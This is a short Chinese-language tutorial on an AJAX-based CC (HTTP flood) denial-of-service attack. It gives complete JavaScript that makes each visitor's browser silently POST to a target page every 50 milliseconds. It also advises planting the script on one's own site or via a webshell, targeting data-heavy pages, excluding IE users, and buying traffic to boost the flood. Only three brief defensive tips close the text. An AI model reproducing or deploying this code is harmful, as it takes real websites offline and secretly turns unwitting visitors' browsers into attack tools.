首先需要有自己的web站点或webshell来建立或修改某页面加入ajax代码,用户访问自己所建立的ajax页面,ajax页面自动不断地向指定被攻击站点的页面发送数据包,实现cc攻击效果。由于ajax跨域安全限制,发送数据包后浏览器是不会获取返回数据的,这样对当前访问的用户基本没有影响,跟正常访问没区别
- 选择目标站点的被攻击的页面要选择其中获取数据量较大的页面
- 因为跨域限制,在IE下会弹出警告,为了自己站点的正常访问最好加上代码忽略掉ie浏览器用户
- 为了保证ajax页面访问量,可通过一些免费互刷网站流量平台来实现提高ajax页面的访问量
示例代码如下:
<script type="text/javascript">
var t_postdata='id=abcdefgabcdefgabcdefgabcdefg';
var t_url='http://被攻击网站/被攻击页面.php';
function c_xmlHttp(){
if(window.ActiveXObject){
xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');
}else if(window.XMLHttpRequest){
xmlHttp=new XMLHttpRequest();
}
return xmlHttp;
}
function post_send(){
var xmlHttp=c_xmlHttp();
xmlHttp.open("POST",t_url,true);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send(t_postdata);
r_send();
}
function r_send(){
setTimeout("post_send()", 50);
}
var ie = !-[1,];
if(!ie){
setTimeout("post_send()", 2000);
}
</script>
防御方法:
- 对数据量比较大的页面使用缓存,尽量减少数据库连接
- 对访问者设置session或cookie,限制时段内访问次数
- 缩短Timeout时间,连接过多时丢弃一部分数据